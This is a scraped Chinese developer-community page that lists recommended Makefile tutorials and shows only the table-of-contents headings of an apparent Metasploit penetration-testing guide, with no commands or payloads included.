xxpcb
2020/08/04
4.3K0
makefile终极奥义
或许很多Winodws 的程序员都不知道这个东西,因为那些 Windows 的 IDE 都为你做了这个工作,但是一个好的和 professional 的程序员, makefile 还是要懂。这就好像现在有这么多的 HTML 的编辑器,但如果你想成为一个专业人士,你还是要了解 HTML 的标识的含义。特别在 Unix 下的软件编译,你就不能不自己写 makefile 了,「会不会写makefile,从一个侧面说明了一个人是否具备完成大型工程的能力」。因为 makefile 关系到了整个工程的编译规则。
DeROy
2021/02/05
1.3K0
手把手教你写一个 Makefile 文件
如果我们是在Linux下开发,那Makefile肯定要知道,不懂Makefile,面对较大的工程项目的时候就会比较麻烦,懂得利用开发工具将会大大提高我们的开发效率,也可以说Makefile是必须掌握的一项技能。
混说Linux
2023/02/24
1.6K0
手把手教你写一个 Makefile 文件
linux: Makefile 脚本关键概念解析
Makefile 是在 Unix 系统下用来管理项目编译的工具,其语法和概念对自动化构建和管理项目非常重要。本文将详细讲解 Makefile 脚本中的关键概念,并结合实际案例帮助读者深入理解这些概念。
运维开发王义杰
2024/05/10
1600
linux: Makefile 脚本关键概念解析
超清晰的makefile解释、编写与示例
Makefile范例教学 Makefile和GNU make可能是linux世界里最重要的档案跟指令了。编译一个小程式,可以用简单的command来进行编译;稍微复杂一点的程式,可以用shell script来帮忙进行编译。如今的程式(如Apache, Linux Kernel)可能动辄数百万行程式码,数万个标头档(headers)、库库(libraries)以及程式码(source code),如果只是针对几个档案进行修改,却要用shell script整个程式重新编译,不但浪费时间也相当没有效率。GNU
老白
2018/03/19
5.2K0
推荐阅读
相关推荐
makefile从入门到放弃——博主吐血整理的笔记
更多 >
目录
  • 简介
  • Metasploit体系框架
    • 体系框架图
    • 基础库文件
    • 模块
    • 插件
    • 接口
    • 功能程序
  • Metasploit目录结构
    • data目录
    • modules目录
    • scirpts目录
    • tools目录
    • plugins目录
  • Metasploit命令篇
    • MSF启动
    • 常用命令
  • Metasploit爆破篇
    • 爆破TELNET
    • 爆破SSH
    • 爆破MYSQL
    • 爆破FTP
    • 爆破postgressql数据库
  • meterpreter
    • 常用命令
    • meterpreter中文乱码
      • 成因
      • 解决方案
  • msfvenom
    • msfvenom参数
    • msfvenom生成Payload
    • 创建监听器
    • 各类OS系统的payload
      • windows 平台
      • linux 平台
      • mac 平台
      • android平台
    • 各类web的Payload
      • php 脚本
      • asp 脚本
      • aspx 脚本
      • jsp 脚本
      • war包
    • 各类脚本的payload
      • nodejs
      • python
      • perl
      • ruby
      • lua
      • bash
  • Metasploit信息收集篇
    • 主机信息收集
    • 主机端口扫描
    • SMB扫描
    • SSH探测扫描
    • FTP探测扫描
    • MYSQL探测扫描
    • SQLSERVER探测扫描
    • SNMP扫描
    • 密码嗅探模块
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文